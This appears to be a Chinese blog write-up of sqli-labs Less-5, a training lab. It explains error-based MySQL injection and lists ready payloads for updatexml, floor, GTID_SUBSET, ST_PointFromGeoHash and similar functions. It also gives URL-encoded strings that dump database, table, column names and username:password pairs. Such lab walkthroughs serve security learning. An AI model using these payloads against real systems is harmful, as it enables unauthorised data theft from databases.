sqli-labs注入漏洞解析--less-5

1.进入第五关我们先看提示

2.还是说让我们输入一个id数字,那我们就输入一个先看一下

3.根据页面结果得知虽然有显示,但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求出错显示,其余的就没有了。这个时候我们用联合查询就没有用,因为联合查询是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择报错注入。

报错注入主要用到这七个函数。

  1. updatexml
  2. extractvalue
  3. ST_LatFromGeoHash()
  4. ST_LongFromGeoHash
  5. GTID_SUBSET() 、GTID_SUBTRACT()
  6. floor
  7. ST_Pointfromgeohash 

4.他们分别的语法是:

# 报错注入7大常用函数

### 1.ST_LatFromGeoHash()(mysql>=5.7.x)

#### payload

```
and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+
```

### 2.ST_LongFromGeoHash(mysql>=5.7.x)

#### payload

```
and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+
```

### 3.GTID (MySQL >= 5.6.X - 显错<=200)

#### 0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

#### GTID_SUBSET() 和 GTID_SUBTRACT()函数

#### 0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

#### 0x03 注入过程( payload )

```
GTID_SUBSET函数

') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
 
GTID_SUBTRACT

') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
```

函数都是那样,只是适用的版本不同

### 4.floor(8.x>mysql>5.0)

count floor rand group by

统计   向下取整  生成随机数 分组

#### 获取数据库版本信息

```
')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

select count(*), concat(version(), floor(rand(0) * 2))x from information
```

# 获取当前数据库

```
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
```

#获取表数据

```
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
```

#获取users表里的段名

```
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
```

### 5.ST_Pointfromgeohash (mysql>=5.7)

#### 获取数据库版本信息

```
')or ST_PointFromGeoHash(version(),1)--+
```

#### 获取表数据

```
')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
```

#### 获取users表里的段名

```
')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
```

#### 获取字段里面的数据

```
')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
```

### 6 updatexml ( 最大容纳32字节 超过32字节不显示)substring截取

```
updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
```

### 7 extractvalue

```
extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

```

5.回到这道题上,我们就可以使用其中的函数来进行注入:

 6.当我们正常使用函数时,显示和我们输入id一样了;但是我们要使用报错注入,很显然没有报错,什么原因呢?

这个第二个位置是查询的文件路径,我们这里输的database他没有查到...

我们可以用一个concat连接连接函数连接一下再看

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+

 7.成功拿到数据库名,那接下来就好办了

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)--+

 

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_schema="security"and%20table_name="users"),0x7e),1)--+

8.哈哈,好像是拿下了

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x3a,password)from%20users),0x7e),1)--+

9.但是结果只显示了一点点,显示不完整,,因为updatexml函数最大容纳32字节,我们截取字段看一下是不是

10.这样我们就能够看到所有的数据信息了。

  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

duoba_an

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值